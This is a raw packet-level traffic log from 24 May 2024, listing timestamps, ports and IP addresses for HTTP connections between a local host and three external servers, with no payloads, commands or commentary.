May 24, 2024 13:42:04.925278902 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925307035 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925312042 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925340891 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925344944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925374031 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925374985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925412893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925426960 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925446033 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925447941 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925479889 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925491095 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925513029 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925533056 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925548077 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925553083 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925592899 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925595999 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.925631046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925633907 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.925661087 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.925671101 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.925690889 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926045895 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926099062 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926103115 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926137924 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926148891 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926171064 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926184893 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926204920 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926207066 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926249981 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926496983 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926552057 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926604986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926640034 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.926651955 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926672935 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.926678896 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.926706076 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.926712036 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.926738977 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.927083015 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.927117109 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927141905 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.927150965 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927159071 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927185059 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927200079 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927217960 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927225113 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927252054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927257061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927285910 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927299023 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927321911 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927331924 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927356958 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.927366972 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.927397013 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.928013086 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.928046942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.928064108 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.928086042 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.928200960 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.928236961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.928251028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.928272963 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.929478884 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.929519892 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.929742098 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.929789066 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.929825068 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.929872036 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.929999113 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.930032969 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.930048943 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.930068016 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.930634022 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.930685043 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.930725098 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.930771112 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.930877924 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.930923939 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.931524992 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.931576014 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.931627989 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.931663036 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.931679964 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.931699038 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.932202101 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.932252884 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.932295084 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.932343960 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.932399988 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.932534933 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.932540894 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.932563066 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.933137894 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.933176994 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.933192015 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.933237076 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.933387041 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.933420897 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.933435917 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.933459997 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934103966 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.934139013 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.934159994 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934176922 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934201002 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.934264898 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934312105 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.934355021 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934410095 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.934456110 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.934586048 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.934617043 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.934730053 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.934763908 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.934773922 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.934773922 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.934773922 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.934797049 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.934864044 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.934885025 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.935075045 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.935116053 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.935134888 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.935151100 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.935154915 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.935184956 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.935376883 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.935409069 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.935426950 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.935444117 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.935668945 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.935703039 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.935722113 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.935753107 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.935889959 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.935923100 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.935955048 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.935956955 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.935956955 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936038017 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936182022 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.936214924 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.936230898 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936248064 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.936258078 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936317921 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936589956 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.936625004 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.936644077 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.936656952 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.936671972 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.936692953 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.936700106 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.936723948 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.936727047 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.936770916 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.937136889 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.937170029 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.937187910 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.937203884 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.937218904 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.937249899 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.937264919 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.937289000 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.939973116 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.940006971 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.940028906 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.940041065 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.941970110 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.942035913 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.942049980 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.942137957 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.942174911 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.942225933 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.944761992 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.944793940 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.944819927 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.944852114 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.962183952 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962213993 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962255955 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962264061 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962275028 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962301970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962461948 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962516069 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962517023 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962549925 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962564945 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962584019 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962593079 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962625027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962769985 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962816954 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962871075 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962903976 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.962919950 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.962941885 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963012934 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963047981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963064909 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963083029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963087082 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963130951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963440895 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963474989 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963491917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963512897 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963798046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963831902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963849068 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963864088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963869095 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963900089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963910103 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963932037 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963943958 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.963968039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.963977098 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964001894 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964014053 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964054108 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964561939 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964595079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964608908 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964627981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964631081 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964660883 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964665890 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964694977 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964706898 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964728117 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.964739084 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.964768887 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.967878103 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.967927933 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.991415977 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.991476059 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.991564989 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.991612911 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.991767883 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.991817951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.991925001 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.991957903 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.991974115 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.991991043 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992000103 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992026091 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992036104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992070913 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992438078 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992471933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992487907 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992505074 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992511034 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992549896 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992587090 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992621899 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992640972 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992667913 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.992959023 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.992991924 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993011951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993025064 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993030071 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993060112 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993062973 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993097067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993628025 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993660927 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993675947 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993690014 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993696928 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993724108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993731976 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993757010 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993767977 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993789911 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993804932 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993823051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.993825912 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993865967 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.993984938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994019985 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994033098 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994052887 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994064093 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994086981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994100094 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994127035 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994138956 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994172096 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994184017 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994209051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994213104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994242907 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.994250059 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.994276047 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995014906 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995048046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995066881 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995085955 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995131016 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995165110 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995181084 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995198011 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995203018 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995235920 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.995342016 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.995392084 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.998054981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.998105049 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.014236927 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014293909 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014333010 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.014353991 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.014388084 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014498949 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.014552116 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014585972 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014620066 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014621973 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.014652967 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.014909983 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.014955044 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015068054 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015108109 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015121937 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015173912 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015419960 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015454054 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015480042 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015486002 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015494108 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015520096 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015522003 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015551090 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015553951 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015588045 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015614986 CEST	49735	80	192.168.2.4	5.42.66.10
